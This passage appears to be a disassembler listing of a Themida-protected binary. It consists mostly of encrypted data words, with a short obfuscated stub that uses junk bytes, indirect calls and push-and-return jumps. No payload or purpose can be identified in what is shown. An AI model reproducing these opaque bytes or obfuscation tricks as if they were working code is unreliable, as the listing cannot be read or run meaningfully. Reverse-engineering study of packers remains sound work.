		dd 9AC7FCB1h, 8C3D1067h, 6D044E6Bh, 0F5DA0FC4h,	0E77A1D40h
		dd 0A1D48166h, 47DA7CF5h, 9378AD62h, 879ABBDEh,	496CEDA2h
		dd 0DE011631h, 25C8AD88h, 6407EC4Fh, 9144031h, 0D3A6F24h
		dd 22A386DAh, 66F99A3Dh, 0AF8ADE81h, 9DEABFCAh,	6AF94E3Ch
		dd 0E7101753h, 88FE0499h, 0AB8EE407h, 1D366996h, 0E7681D02h
		dd 7B9093C4h, 0E87B1B4Eh, 98AADC5h, 0CDB2ADE6h,	0C532E320h
		dd 6A6D039Ah, 7A1134B5h, 2C01FADFh, 6EC7905Fh, 0F2073C27h
		dd 0F4A7B9CFh, 0F47CBDFFh, 0CDEED308h, 6D038F2Dh, 8D72EDA9h
		dd 0CDB295EAh, 5C7D0A5Fh, 0E495D28Fh, 6D038F13h, 21E6671Ch
		dd 0D487B42h, 0F7782D12h, 0F370E0Ah, 705F4Ch, 53460000h
		dd 88351A3Dh, 4E5D9A4Bh, 1F736D04h, 0DEA2573Ch,	0F607A829h
		dd 3C6D044Dh, 14374C7Fh, 34F97A2Fh, 0F54ACE57h,	1234C0Fh
		dd 0A000000h, 3A1F0253h, 106CFE97h, 98E21F97h, 0C3002D62h
		dd 417E512h, 68954A6Dh,	41840B7h, 0C142F76Dh, 141D39DCh
		dd 0C6ABE043h, 67640358h, 0F11E332Eh, 0C0B3EDB5h, 64E57F27h
		dd 0FB102B41h, 66F99BCEh, 3F53DCE5h, 1B2EF1Ch, 6D044DF6h
		dd 260B8C41h, 0C1313D79h, 1A92FCDCh, 44DF7699h,	0CE29DA17h
		dd 696D0365h, 65EC0BBCh, 8E436D03h, 0ADF3D859h,	978ACD00h
		dd 0DB460FB2h, 36025A6h, 5C89ACC4h, 65896E1Fh, 0F9AE6D03h
		dd 2A406378h, 0CD872A0Fh, 0A1F22552h, 903F89C7h, 0A4D9FE4Bh
		dd 9ADF3E23h, 76F434CDh, 96994C0Fh, 80000000h, 0CC0B0D49h
		dd 0D697792h, 3611698Ch, 79E4AE51h, 995E0F4Ch, 9E6D034Fh
		dd 4FB740F1h, 0CB806D03h, 0C2301596h, 0E017C805h, 0EF6D034Fh
		dd 20FE8837h, 752AEE82h, 93502FF4h, 1A475CFFh, 856DD5DEh
		dd 0B4694ED1h, 62EAE488h, 8FAABEE1h, 0D44F07AAh, 0A7E390EFh
		dd 53298499h, 1BABCCF8h, 0BAF700B1h, 8B406D03h,	7F782956h
		dd 0B86D03BBh, 0AEBD8203h, 0F60D157h, 529A4Ch, 53810000h
		dd 94371C3Fh, 0E37B60C3h, 2B68710Eh, 44E7D7Ah, 7CFDB26Dh
		dd 11260159h, 31025308h, 0A5520366h, 8A6D044Dh,	6BBA0D5h
		dd 0C8ADB0E3h, 4CF9DE13h, 0FDE27D19h, 0D426C748h, 5A6D044Dh
		dd 799F6605h, 0E14C0FF5h, 957AE5AEh, 1435FE0h, 2A000000h
		dd 391E0153h, 8065C096h, 0CD5B287h, 4DD91ECFh, 0A95E6D04h
		dd 0D9530528h, 0BA1A9FF3h, 162B60DFh, 56834F4Ah, 6BEC4F23h
		dd 68798D3Eh, 0FFB46B0Ah, 46E1771Ah, 0DD780E31h, 5D0E4BF8h
		dd 66F4779Ah, 0BE5FE095h, 66F4783Fh, 2DB4D3A8h,	0C5CC66FAh
		dd 52EC588Eh, 91B4356Ah, 284B60FBh, 6F12F752h, 13593E19h
		dd 5C32B1CEh, 21F7E4F9h, 4A46007Dh, 133h, 0E3EFAA31h, 581105B6h
		dd 0A75C6B0Bh, 491FC2h,	0D522D356h, 5A66F537h, 0E3B70A5h
		dd 27A8BBDBh, 0BE99EF12h, 52036D9h, 43E67D20h, 889BBB5Eh
		dd 83E035A3h, 58276C32h, 3D52F58Bh, 0DFC850h, 74A546h
		dd 0AA8C0000h, 77B4E1F1h, 63161044h, 47BDEA70h,	24C5467Bh
		dd 12FB0BB3h, 599E4FFCh, 0DEED04F4h, 0D34E0629h, 1F0439EEh
		dd 88613672h, 0AC34AA48h, 0C06D8A2Bh, 26FBED04h, 18BAE159h
		dd 0FAFDAEEBh, 35ED04BFh, 55A25380h, 0DAED04C0h, 3A77A425h
		dd 0BFAB4CFDh, 0D784ED04h, 4BFD126h, 7CB166EDh,	227D5AFBh
		dd 164992FCh, 4C01E641h, 3D5207CBh, 7A60h, 0EFAAC700h
		dd 2505B6E3h, 706B0B45h, 0F629D6BBh, 27DCC15Ch,	4AED83A6h
		dd 0E27C1235h, 23381F20h, 0F567DC08h, 588BB8EDh, 8D422702h
		dd 0EA06270Ch, 0CD66F483h, 65C6BF8h, 0C8FD6035h, 984986B3h
		dd 66F4845Fh, 0D6A223D8h, 0E7A218C3h, 0A965EB2Dh, 9964774h
		dd 0D5650271h, 0EE6FF2A2h, 0ED90752Ah, 0D6CFB497h, 285B6201h
		dd 0A672F36Eh, 1B2DFF3h, 6AF6F89Eh, 62136D9h, 0AAB3BCD1h
		dd 79B6E3EFh, 44E2FC8h,	3053086Dh, 4C79FA65h, 0BABBDC0Fh
		dd 0EBA08598h, 0B9435B6h, 646B11B6h, 5127CAAFh,	55AA4DFEh
		dd 0D08566EEh, 0D63869Bh, 6598452Ah, 9A462B0Eh,	0F1C5E41Eh
		dd 0DD5E937Eh, 73A5E73Ch, 9144161h, 4AD58124h, 9093C265h
		dd 0EB30F6ABh, 0FA4F3D9Ch, 2D085E6Dh, 0C49FF518h, 6A6DE413h
		dd 0B396EC60h, 0B25519CEh, 0E0957ADDh, 0D4976ABh, 1A1A3F93h
		dd 0E293C08Bh, 606A6E15h, 0FFE4651Ah, 7C2D385Ch, 606A6E7Bh
		dd 571B3E55h, 8F886DA2h, 481EADBAh, 0DFB5D8EDh,	33A977Ch
		dd 0A1000000h, 3E53CED7h, 0FD93361Bh, 81D2755Ah, 4116B99Eh
		dd 0A5E01E6h, 0D3A74A2Fh, 0A4F09378h, 6731D4B9h, 217417FCh
		dd 56F7593Eh, 0C681E689h, 4, 8704EE83h,	248B2434h, 0E6895624h
		dd 4C681h, 0EE810000h, 4, 5C243487h, 68240489h,	3DCEh
		dd 51243C89h, 15F8E2B9h, 0CA895206h, 595AD089h,	4EC81h
		dd 24890000h, 24048124h, 4, 0BE56505Fh,	64771D92h, 4247401h
		dd 8478F5Eh, 92086F81h,	8B64771Dh, 8953243Ch, 4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 24048B5Ch, 81E68956h, 4C6h
		dd 4C68100h, 87000000h,	0E95C2434h, 0FFF9802Eh,	3F6C85Fh
		dd 0FDF9B841h, 0C5030615h, 1DAE0FFh, 53D431EEh,	33061C37h
		dd 12E86EE8h, 49000000h, 8E319BC1h, 19B22472h, 324D2ABDh
		dd 5A95195Ah, 14810F02h, 0E9000000h, 0Fh, 0D4EBC5E7h, 0CBDBABF1h
		dd 8C7191A1h, 5EF18273h, 8126E680h, 675EC6h, 11E900h, 0B44D0000h
		dd 3DF3C73Ch, 9E822E7Ah, 0C4C75C7h, 68466332h, 0
		dd 14870Fh, 9E80000h, 0FC000000h, 8349EFA9h, 0D0C45233h
		dd 0D7C18166h, 0B55F5BFAh, 3734FF5Bh, 28F0Fh, 59560000h
		dd 11E958h, 29850000h, 17A6E7B5h, 233D7231h, 0CDDD6622h
		dd 819616CCh, 545C4CF0h, 85DE800Fh, 994E881h, 6DB95087h
		dd 8148678Ch, 9BFC89E8h, 0DBBF0F45h, 7E1ABB50h,	48F29CAh
		dd 6E9563Eh, 0B3000000h, 0AE3508AEh, 0F525B7Ah,	168Eh
		dd 11E900h, 93840000h, 87D124E7h, 0BA942729h, 12EE6416h
		dd 5A5C0429h, 0BB04EF83h, 59DF5A14h, 99ACFF81h,	850FFFFFh
		dd 0FFFFFF79h, 0EE8h, 0DA4C7B00h, 5237EDE2h, 0A0C4A2A0h
		dd 0BAD9B2E4h, 1298468h, 11E85Ah, 872D0000h, 529ADDF5h
		dd 0A8921E05h, 6072F267h, 0B2B7869Bh, 806058EDh, 8D0F9BD7h
		dd 3, 61DBBF0Fh, 5DE2C081h, 8B660000h, 0B779BBF8h, 0F3811F2Fh
		dd 1F2FA033h, 2830Fh, 44B60000h, 0DA8030FFh, 880F5EF8h
		dd 3, 817ECD80h, 4F36BEEEh, 12E86Dh, 0B07B0000h, 5A596E0Bh
		dd 3D2D32FEh, 4AE6BB44h, 7D90628Ch, 0A163BF66h,	8CC6815Fh
		dd 607D443Fh, 0BE18166h, 0D88B66F5h, 36F68161h,	0F6F096Bh
		dd 0E956FBBFh, 0Bh, 399B4957h, 0DCFD68B9h, 8F7C2F3Ch, 0CF8B6600h
		dd 0BA02E883h, 0AF2DBF3h, 5E94848h, 0F3000000h,	571DD274h
		dd 85850F4Bh, 66FFFFFFh, 8E0DE281h, 1468D8Dh, 6A0616h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8BFF88C3h, 0F1D31B5h, 658D8906h, 6A060F2Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 4B2EC355h, 92A377C5h, 8CAACDFBh, 7C185C7h, 6A44060Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 7D1A4C3h,	0BF0FB27Bh, 9185C7F9h, 60F24h
		dd 0E8000000h, 0Bh, 586EA8E3h, 5CA94B52h, 5FF30E7Eh, 2A1DB5FFh
		dd 11E8060Fh, 3B000000h, 2B9FD419h, 0CA5251CBh,	1DB7470Eh
		dd 4AC47CAAh, 0FF5AC28Bh, 0F2A0595h, 0FF006A06h, 0F345195h
		dd 0EBC08B06h, 0F0BF583Ah, 8806A096h, 0B3DFBD2Ch, 0D179E85Ch
		dd 37BA9782h, 0A9F5BB49h, 1F7DC7D6h, 128186CDh,	8423932h
		dd 0B3CE9839h, 99055F9Dh, 511DFC18h, 74DF284Ch,	0E77AAC6Eh
		dd 8D6967E5h, 16027C8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 8B5298FDh, 8B7DBB91h
		dd 0F0535BDh, 658D8906h, 6A060F2Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F8D0C357h
		dd 7C185C7h, 5CF0060Fh,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 66C498C3h, 0EE81Fh, 7FAC0000h
		dd 57B6CD4Fh, 9145CF69h, 0C799DA2Dh, 0C758D98Bh, 0F249185h
		dd 6, 8E900h, 9B70000h,	2D9A06C2h, 0B5FF3FD5h, 60F2A1Dh
		dd 0E955B660h, 11h, 227D9062h, 15980630h, 0D1E36502h, 697389C4h
		dd 95FF61D3h, 60F2A05h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0D3C35646h, 661D5B34h, 6A7D0D46h, 5195FF00h
		dd 8B060F34h, 0A13AEBC0h, 7C6F0DF8h, 92068ADBh,	2DB2D020h
		dd 624516BDh, 0A4892F8Fh, 486F99B2h, 4FD4C9D7h,	84C73748h
		dd 6B73231Ch, 91205944h, 0AEE932E2h, 58F38A6h, 0ED407949h
		dd 255699Dh, 1FE925h, 0DAE30000h, 794Ah, 6 dup(0)
		dd 550E900h, 22370000h,	86CFF207h, 3163869Bh, 5EF6192Eh
		dd 0F78BAEC3h, 8C1E3F54h, 0ACC164FCh, 4257F289h, 0D4E9741Fh
		dd 6B80DBB1h, 0B93EEF9Ch, 7E66EE4Bh, 3D536E87h,	0FE92351Ah
		dd 4E45B263h, 0CA8B6D04h, 0EDE79357h, 4C333417h, 5A87BCF1h
		dd 53036C27h, 1B69BD0h,	32486B80h, 6E046D29h, 0FC31E6CBh
		dd 293FE2C7h, 0CF86290Eh, 0AC016F54h, 0DF7A10DFh, 83ECA7CAh
		dd 0B3684DD0h, 93C697Eh, 38EDD24Dh, 69C394B7h, 743290EBh
		dd 0D0FD32C0h, 30479D94h, 0A3F2F64Eh, 0F126DBC0h, 93E88B70h
		dd 5DAD3B8h, 332E6966h,	0A083D306h, 708506BBh, 0E714374Dh
		dd 79FEF9AAh, 84396D03h, 0FDFD1E03h, 0D96D0379h, 1ABDA2BDh
		dd 6901E679h, 19E6F794h, 0E11EA7C4h, 379C730h, 8EBB706Dh
		dd 37A1ADDh, 0DF60156Dh, 0F2126F2h, 6D474Ch, 0D70A0000h
		dd 0CC1A681h, 3D53828Bh, 0BCA7EF22h, 44DDC1Bh, 699E536Dh
		dd 4D9A6384h, 0DB986D04h, 4E0AED9Eh, 70256D04h,	845D2AEFh
		dd 9D1E3951h, 0FF568B0h, 3AB8F44Ch, 0B0DBE5D2h,	1CCE869h
		dd 0B3000000h, 66310253h, 3EE1C6FBh, 94631417h,	9B6D044Dh
		dd 0EF08B9E6h, 486D044Dh, 0D6795E93h, 50BEA3BEh, 365F6CFBh
		dd 9DF3162Bh, 539CA5BAh, 94371C3Fh, 42B566C1h, 0ED6D044Eh
		dd 0A3D60338h, 0D3886DF0h, 0E2276D52h, 17324685h, 0AE89DF02h
		dd 0F96C26C9h, 44DAF48h, 0B0D3886Dh, 0E1967BE6h, 7324C7ACh
		dd 13680BF0h, 855A5338h, 0B3F8D7E6h, 0F3DB4DD4h, 80B04C0Fh
		dd 97000000h, 371C3F53h, 325FC294h, 4DB344F5h, 0C77C6D04h
		dd 9EF36146h, 0CB6E02C1h, 3D94629Eh, 0D0D448BBh, 43173A4Fh
		dd 346003E8h, 0CA55FE31h, 688F30E5h, 0CF6D041Fh, 0A100E51Ah
		dd 32F60F5Ch, 3B4C0FC4h, 52h, 1C3F5322h, 60C39437h, 0B245F633h
		dd 156D044Dh, 0F88253EBh, 9E4A0E5Ah, 0F735C59Eh, 35588DADh
		dd 967BFC5Fh, 0F88EC1FEh, 4817DC5Dh, 1744E77Bh,	4ECE29DAh
		dd 0B4696D03h, 53151E33h, 193A1F02h, 6D044DE1h,	9069F64Bh
		dd 4C0FF588h, 1E5h, 153CC00h, 555ECC27h, 265B61C9h, 6DC89E41h
		dd 0ADBA8F88h, 0D4E9741Eh, 3F2274A7h, 1DA39413h, 1B9C32F8h
		dd 57914A4Fh, 0B590E78Ch, 2EF1BD0h, 0A0CD022Eh,	0AC217EFh
		dd 84691E6Bh, 83B08BE1h, 9A1B0650h, 290C6285h, 0C1DA2344h
		dd 530266F4h, 3248EBD0h, 0C59A3217h, 0C2FF17A6h, 0D859C48Fh
		dd 0E1777413h, 0EE233E58h, 24D384C1h, 0AC66F4C2h, 0FFB478EBh
		dd 3046697Eh, 0F78D3015h, 0E4296F54h, 17324887h, 6A031502h
		dd 39684600h, 4F000001h, 0E7421649h, 0D3FF9A66h, 79B06AA6h
		dd 0D860417Fh, 0FC281A26h, 0C71DD5F2h, 0AA87563Ah, 0A2CF5085h
		dd 0B5825F1h, 765B106Bh, 15A3BDD3h, 996EBC6Ah, 7AB6E318h
		dd 0EC3998EAh, 0C88DB05Ch, 9CBFD455h, 0DB7E63C6h, 80E3B485h
		dd 8B9E69Bh, 66F477EFh,	315E9348h, 0ACCF6AFEh, 0DC9176E9h
		dd 0EB30765Bh, 27394F9Ch, 0E6BC75F5h, 667BB0CBh, 69F79h
		dd 56CC46h, 0AAB30000h,	3B4E1F1h, 12FBB0D4h, 43DE781Bh
		dd 8F74A95Eh, 44E896Eh,	203B4FEDh, 67C2983Bh, 0C5A27782h
		dd 0F79469F4h, 59864C4Fh, 0FBB22FA8h, 94EC1F92h, 0F5302EBAh
		dd 0CB00CB24h, 440E31E6h, 0DF9458D9h, 7AEDCAh, 0F3300000h
		dd 42DB542h, 0A2C57A6Dh, 0E0E96ACDh, 0B6E3EFAAh, 0B452505h
		dd 0D6BB706Bh, 0BC3BEC29h, 7366F542h, 441A3DBEh, 0D3A9CCE1h
		dd 7E729378h, 6166F542h, 9AF0FF8Ch, 0BBDEAABFh,	8239EA17h
		dd 4C650340h, 44995E0Fh, 0E99E6CEBh, 0AEFA468h,	51361167h
		dd 957AE5AEh, 0D9BEA1F2h, 0C9540124h, 6704D9E4h, 6DA0DD56h
		dd 9A4F3417h, 0F375419h, 6A1B488Ah, 6AF94251h, 131C31E6h
		dd 0E17C1649h, 0DF059460h, 4875AAB5h, 0DA1DCE0Bh, 556D044Dh
		dd 3D7E1FA0h, 7A6B124Ch, 0F6598C5h, 23C6AB2Ch, 56E6F34Dh
		dd 31D63347h, 0E192CFFCh, 66EDDA16h, 0D6EB6C21h, 42DD76A9h
		dd 427A85Dh, 39E6CB6Eh,	0D9AC4BFCh, 0CE8366EDh,	28A9AC4Dh
		dd 94BF0C42h, 5601A489h, 1343E6CBh, 0D3B08510h,	0A0BF1402h
		dd 0BDEA4D23h, 0A828CF80h, 5A0FF3B9h, 5B97C4D9h, 0ED549DCDh
		dd 29CE7F31h, 0EF3B955h, 80A32459h, 0C76A4FEAh,	74EFA68Fh
		dd 9DB7DA8Fh, 6F684D82h, 68FECD9Ah, 0FF95B8CDh,	31A775Ch
		dd 81000000h, 3E53CED7h, 0FD93361Bh, 81D2755Ah,	4116B99Eh
		dd 0A5E01E6h, 0D3A74A2Fh, 0A4F09378h, 6731D4B9h, 217417FCh
		dd 68F7593Eh, 1153h, 24048F54h,	4240483h, 6F9C68h, 241C8900h
		dd 14E368h, 24148900h, 7A836852h, 0F75A611Ah, 81DAF7D2h
		dd 0DB1D1BCAh, 0BBEA8117h, 8971C57Ch, 24148BD3h, 8104C483h
		dd 4ECh, 24248900h, 4240481h, 5A000000h, 4EC81h, 1C890000h
		dd 8428F24h, 5324148Bh,	0C381E389h, 4, 8704C383h, 0FF5C241Ch
		dd 815B2434h, 4C4h, 7694E900h, 0F939FFF9h, 0C99C7101h
		dd 18C7FF3h, 0ADB8828Eh, 3061607h, 83E0FFC5h, 225F9DFCh
		dd 862D5AC0h, 286CEED9h, 492A4923h, 67BEEF8h, 974E8672h
		dd 0DE0B601Ch, 0F922AB40h, 681FB1EAh, 3D6CFBECh, 9127E44Ch
		dd 0F570B241h, 476C0FB9h, 641D3BBFh, 97A4CCAh, 811EB4ECh
		dd 3357D835h, 87BB02Fh,	77F5FAh, 0BA407E51h, 0EA138783h
		dd 0AA7366CDh, 83207B1Dh, 0CA2E2274h, 0D5372528h, 367C0882h
		dd 1854E5AEh, 3343AB03h, 5142A3B2h, 8A6C0BA3h, 8D35E906h
		dd 16094D8Dh, 892AB606h, 0F2C658Dh, 0E2816606h,	85C7CF73h
		dd 60F07C1h, 6B04h, 0AE9h, 0E99F6200h, 0EBA7DF11h, 0F2F796Eh
		dd 85C7C1BFh, 60F2491h,	0
; ---------------------------------------------------------------------------
		jmp	loc_5BB7D5
; ---------------------------------------------------------------------------
		db 6Eh,	0A5h, 20h
		dd 26BD7DEDh, 0EE3C0D9Fh, 0ABAA0FAh, 0C2F8E0B0h
; ---------------------------------------------------------------------------
		pop	edi


loc_5BB7D5:				; CODE XREF: Themida_:005BB7BCj
		push	dword ptr [ebp+60F0839h]
		mov	bl, 0CBh
		call	dword ptr [ebp+60F2A05h]
		push	0
		push	esi
		call	sub_5BB7EE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB7EE	proc near		; CODE XREF: Themida_:005BB7E6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5BB7EE	endp

; ---------------------------------------------------------------------------
		dw 47B7h
		dd 2D20E5D6h, 5E95433h,	81000000h, 64116C94h, 95FF006Ah
		dd 60F3451h, 5FEBC08Bh,	0EA64D265h, 9B11AD14h, 0F40F5861h
		dd 0A9D228E9h, 97A1D915h, 37C740D3h, 0D8B560CCh, 0FF87F732h
		dd 0DC1D4981h, 0F233235Ch, 6EC67886h, 6FBE066Eh, 2490D367h
		dd 74C13858h, 2B540FB8h, 0D350D0AEh, 5E900DABh,	0B87C5E2Eh
		dd 37823147h, 6C65C5A1h, 0F4C6EED0h, 0FBAE64D6h, 0D2035939h
		dd 8DF975E2h, 160A7F8Dh, 8D89FC06h, 60F2C65h, 9E8h, 0EA069200h
		dd 0A80738EEh, 10E94882h, 0F5000000h, 9DFABD69h, 0C1470880h
		dd 0EE1D53E9h, 5EFD4069h, 7C185C7h, 5A54060Fh, 0F600000h
		dd 0FE9CABFh, 0F9000000h, 9133D8DCh, 789D6293h,	7B58BD27h
		dd 0C761118Dh, 0F249185h, 6, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 4A046F85h
		dd 0A94557F2h, 0B58BF986h, 60F1965h, 1CB1B5FFh,	6A060Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 8031B5C3h, 0EE95Ch, 1C310000h, 60EE825Eh, 6AE72947h
		dd 80375BE6h, 2A0595FFh, 6A060Fh, 345195FFh, 0C08B060Fh
		dd 0D6E33BEBh, 839A1449h, 4D60347Ah, 0F8645880h, 44B92D76h
		dd 15567407h, 0BCE37A70h, 99D02DD7h, 0ADCC3FDh,	551C16A2h
		dd 93553027h, 64A7D2E6h, 4A26AE69h, 0DE2805CCh,	8E138B04h
		dd 0FE85Ch, 419F0000h, 954F37C0h, 647A5330h, 61FD1712h
		dd 0BE92Ah, 86820000h, 5C8CAC88h, 8F045273h, 85895B11h
		dd 60F29FDh, 6A53C381h,	6E80000h, 8000000h, 0BAD0F86Eh
		dd 11E95Ah, 1D650000h, 5A168880h, 8E87E0C5h, 99C87868h
		dd 5A2EFB45h, 34FFC92Bh, 0C0816619h, 8A5F2F08h,	77EF81F3h
		dd 0E908D7AEh, 9, 5074392Ch, 0DFE7C477h, 0D4C781BDh, 8A499AEAh
		dd 0ADEF81F4h, 0E81E6D98h, 12h,	0D4B504F0h, 6792D76Bh
		dd 0F30DB41Ch, 4F9B87E3h, 0D88048A9h, 3C895861h, 8880F0Bh
		dd 51000000h, 0A6D858Bh, 895A060Fh, 0F284185h, 4E98306h
		dd 28F58D89h, 0F981060Fh, 0FFFF9670h, 0FF8C850Fh, 8B66FFFFh
		dd 12E8D6h, 0E550000h, 379E7258h, 85C2AECDh, 0CA456E7Fh
		dd 0EC254467h, 3379858Bh, 8159060Fh, 7470C1h, 8DBD0100h
		dd 0BF060F08h, 1CE4h, 6860Fh, 0B5330000h, 60F16E5h, 0B96031FFh
		dd 69A60E9h, 5E9h, 76EF7000h, 5A618E1Ah, 30D9B58Bh, 0F281060Fh
		dd 60E4CF0Dh, 78C281FCh, 8920A038h, 0F2FC58Dh, 37F28106h
		dd 0E913FA96h, 14h, 7E891926h, 461F3091h, 0F92971A4h, 0FBE9F991h
		dd 0BA3BEF2h, 31B58B52h, 8F060F17h, 13E801h, 0A8150000h
		dd 0F3F08240h, 571DD274h, 136F6A36h, 51711C12h,	0E9835898h
		dd 81665603h, 581781D6h, 8185B049h, 1EFh, 17850F00h, 0E9000000h
		dd 22h,	428362F1h, 0E3328CFAh, 42B54274h, 0F3E4BF2Ch, 9D8B1EA8h
		dd 60F1C8Dh, 0FFFF57E9h, 0F21C3FFh, 8D8DECC7h, 6160D14h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 6FC35747h
		dd 6636918Ch, 6602C9B8h, 8D89FE8Bh, 60F2C65h, 19F18523h
		dd 85C7060Fh, 60F07C1h,	7314h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 9BC35646h, 63739BDBh, 625F44D1h
		dd 8B515771h, 0F2161B5h, 895B5F06h, 0F130DB5h, 9185C706h
		dd 60F24h, 89000000h, 0F33459Dh, 7DB5FF06h, 0FF060F08h
		dd 0F2A0595h, 61858906h, 6A060F23h, 5195FF00h, 8B060F34h
		dd 4C1DEBC0h, 0BA17698Fh, 2C1F16B7h, 0AC22A18Ah, 5287B46Eh
		dd 14C88D90h, 0A2C39B4Bh, 0C7D1E415h, 0E378D8Dh, 81660616h
		dd 891703C0h, 0F2C658Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0B1621FACh, 0DC388D00h
		dd 9D299669h, 60F1319h,	7C185C7h, 7434060Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0F50C65C3h, 6842D954h, 659D895Ch, 0C7060F34h, 0F249185h
		dd 6, 10E900h, 0AB7D0000h, 67BFA507h, 0D912563h, 200000Eh
		dd 0B5FFF662h, 60F2A1Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 24C35141h, 92D4B6F8h,	0CF097AD6h, 14E9h
		dd 16BE00h, 0FCF60BB8h,	3EE39C43h, 30D6E853h, 0AF7771AAh
		dd 595FF3Eh, 6A060F2Ah,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8946C356h, 0F14B5B5h
		dd 6AFC06h, 345195FFh, 0C08B060Fh, 47213AEBh, 0F8F5A890h
		dd 7804201h, 0D13A3F20h, 817A1EDDh, 5974B0BEh, 3488FE70h
		dd 0C55664FEh, 0D998094h, 0B1BAC186h, 17AE88C8h, 0A5AC8F69h
		dd 0CD9FE6F6h, 28705306h, 32749303h, 6E9h, 1C802F00h, 0E9000059h
		dd 54Dh, 90A580D9h, 2035286Dh, 0B3C85BFDh, 4459C490h, 0D9EE4921h
		dd 0C29626B8h, 582F5267h, 92C5E8FDh, 1577A8Fh, 95421126h
		dd 0EE4013E4h, 0C251C66h, 0ED1A3D53h, 0A18699BAh, 0E3866BECh
		dd 437FAC8Fh, 0D72C5365h, 0C7DC5DE4h, 866BCEA4h, 85EEA6D9h
		dd 0B2674CEFh, 62E3987Dh, 290E293Fh, 1266CF86h,	31163149h
		dd 0AD62477Ch, 0D0259378h, 0FB5E34B3h, 17E091CEh, 206D0404h
		dd 0A8D5EA6Bh, 5B402375h, 510225A6h, 0FD96B9CEh, 53023562h
		dd 0BD6A4FD0h, 0F5D61881h, 24A59C5Fh, 0EACF6A01h, 0C677B4F1h
		dd 6D043C31h, 0BD05106h, 5829657Ch, 1E83E5FAh, 0BADD0081h
		dd 196F92A7h, 0C238593Eh, 6C6D03B9h, 67B14817h,	44C0F61h
		dd 0AEh, 68118BC7h, 0F5755AA0h,	0B8E47520h, 75F6EF18h
		dd 7D16496Ch, 283E61E2h, 0F607280Dh, 0E66D044Dh, 8D90C4ADh
		dd 85D07358h, 4176E9ACh, 0F18E635Ch, 1A5613E0h,	6795680Eh
		dd 0B77CFDBEh, 88C751A8h, 1A44C0Fh, 8B000000h, 0F21F0253h
		dd 0A68B96BFh, 0E88B70F1h, 20CDB2ADh, 0CFB497EDh, 0BB3CED1Ah
		dd 746D044Dh, 7B1B3EBFh, 427EBBE8h, 0BF6C1EA5h,	53A44527h
		dd 746D03C9h, 0B6282305h, 0FFB478DAh, 0D62B997Eh, 81B3A89h
		dd 0D889C6F3h, 6D037E1Fh, 0BFE26318h, 25618EA9h, 21D03D3Dh
		dd 8DA2231Fh, 0FF6A2D60h, 3B9A94Eh, 0A4D98E6Dh,	3F531A23h
		dd 98BCEF1Ch, 0E3F4A085h, 0D14F2AA6h, 3A1FA0D5h, 7E63FE97h
		dd 5794F338h, 0F0132803h, 0E116C79Ah, 0EE6D036Eh, 0BC7893A1h
		dd 0E1965A8Dh, 7224C7ACh, 66AB0AEFh, 6280019h, 7A454C0Fh
		dd 2C000000h, 0E27D1649h, 172A3E61h, 44D9166h, 140F476Dh
		dd 1B67A2Fh, 1244E7CCh,	67BC2A0Fh, 0F98EC118h, 43C4795Eh
		dd 0D8ED4820h, 0CA8CDDB5h, 88BD7257h, 0C95400A3h, 234085E4h
		dd 0FF34EDAh, 5E1F4Ch, 53060000h, 94371C3Fh, 0D87B60C3h
		dd 1D4BAE80h, 0AC649EE2h, 0A7EF9277h, 4C91D7BCh, 49869E3Fh
		dd 0EF9C5B0Ch, 0DE936D03h, 0FCCB985Dh, 0B182D364h, 26497ED9h
		dd 0AABFF46Fh, 1F0253A1h, 4DE1193Ah, 0F64B6D04h, 0F5889069h
		dd 11E54C0Fh, 0A8000000h, 0D969466Ch, 0C1F61D6Fh, 1B335F25h
		dd 5F68E967h, 391E0153h, 233E598Ch, 4EE97FA2h, 9B06E521h
		dd 0B1F0D47h, 0B8CA2DDEh, 0B0656D03h, 0ECA74A2Fh, 0ADE98C71h
		dd 0A5FCDB2h, 0EE35C7Dh, 45207271h, 3B96394h, 6F29CC6Dh
		dd 5D8ABFF4h, 12F76A2Ah, 0FBC7DC5Dh, 5607349Eh,	6B0AB1B0h
		dd 92C5F2A7h, 0F8DD5EC1h
		dd 71C3F55h, 0C6AB8EE4h, 0F4B258A5h, 124E8B66h,	5D5F01D0h
		dd 0DA92F4FCh, 182A6894h, 0E90EBFECh, 4E66F49Fh, 34531899h
		dd 0C098A1B7h, 96CB8065h, 66175481h, 66F49F91h,	4D70F1A6h
		dd 822B1D37h, 375E71B2h, 0E47A1D02h, 0F6193C53h, 28DDC25Dh
		dd 83C80EF3h, 0B691E7E4h, 64B4A1h, 0D094600h, 0F0000001h
		dd 0B6E3EFAAh, 0B581105h, 0C2A75C6Bh, 0D9EE491Fh, 41DC79ACh
		dd 64C79DC0h, 0C96C0437h, 0AAC06348h, 1F64AA8Fh, 5CED8340h
		dd 873C2104h, 0C8503D52h, 0A54600DFh, 47h, 0E1F1AA8Ch
		dd 0B0D403B4h, 76B212FBh, 355EA0CEh, 6490452Ah,	8A0B95F9h
